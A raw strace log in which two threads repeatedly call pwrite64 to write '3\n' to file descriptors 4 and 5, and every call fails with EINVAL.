[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
